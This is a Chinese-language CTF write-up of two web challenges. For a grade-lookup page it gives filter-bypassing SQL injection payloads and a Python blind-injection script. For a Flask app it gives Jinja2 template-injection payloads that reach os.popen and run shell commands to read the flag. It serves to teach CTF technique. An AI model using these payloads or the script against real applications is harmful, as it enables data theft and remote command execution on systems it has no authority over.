[WUSTCTF2020]颜值成绩查询
一个SQL注入,输入1
用户名admin,成绩100
输入1',1''都报错,显示不存在该用户
输入1 or 1=1#测试,发现报错,过滤了空格。
用/**/绕过,
接着测试列数:1/**/order/**/by/**/3#时正确,但1/**/order/**/by/**/4#时报错,说明有3列
构造:-1/**/union/**/select/**/1,2,3#
发现报错,可能过滤了一点东西,大写绕过看看
-1/**/Union/**/Select/**/1,2,3#
绕过成功。爆表名
-1/**/Union/**/Select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
有两个表flag和score,爆flag表的字段,也就是列
-1/**/Union/**/Select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'#
有flag列和value列,爆flag列的内容
-1/**/Union/**/Select/**/1,value,flag/**/from/**/flag#
看了其他师傅的还可以用脚本注入
使用二分法脚本加快注入速度:
import requests
url = "url?stunum="
result = ""
i = 0
while( True ):
i = i + 1
head=32
tail=127
while( head < tail ):
mid = (head + tail) >> 1
payload = "if(ascii(substr(database(),%d,1))>%d,1,0)" % (i , mid)
r = requests.get(url+payload)
r.encoding = "utf-8"
#print(url+payload)
if "your score is: 100" in r.text :
head = mid + 1
else:
#print(r.text)
tail = mid
last = result
if head!=32:
result += chr(head)
else:
break
print(result)
这个爆破数据库名
接着爆破表名,更改payloud:
payload = "if(ascii(substr((select/**/group_concat(table_name)from(information_schema.tables)where(table_schema=database())),%d,1))>%d,1,0)" % (i , mid)
爆破列名,更改payloud:
payload = "if(ascii(substr((select/**/group_concat(column_name)from(information_schema.columns)where(table_name='flag')),%d,1))>%d,1,0)" % (i , mid)
爆破flag,更改payloud:
payload = "if(ascii(substr((select/**/group_concat(value)from(flag)),%d,1))>%d,1,0)" % (i , mid)
具体可看:
https://www.cnblogs.com/fishjumpriver/p/18168379
[CSCCTF 2019 Qual]FlaskLight
1
F12查看源代码可以发现GET传search
传入一个?search={{7*7}}
可以看到输出结果为49,进行了计算,有ssti模板注入漏洞
构造:?search={{[].__class__.__base__.__subclasses__()}}
可以得到所有继承object父类的子类,当然[]也可以换为()
经过查询后,可以借助的类<class 'warnings.catch_warnings'>,没有内置os模块在第59位。<class 'site._Printer'> 内含os模块 在第71位,可以借助这些类来执行命令。
进行命令执行
a. 目录读取
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
PS:由于使用['__globals__']会造成500的服务器错误信息,并且当我直接输入search=globals时页面也会500,觉得这里应该是被过滤了,所以这里采用了字符串拼接的形式['__glo'+'bals__']
页面回显:bin boot dev etc flasklight home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
b. 读取目录flasklight
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls /flasklight').read()")}}
页面回显:app.py coomme_geeeett_youur_flek
c. cat文件 coomme_geeeett_youur_flek 得到flag
{{[].__class__.__base__.__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('cat /flasklight/coomme_geeeett_youur_flek ').read()")}}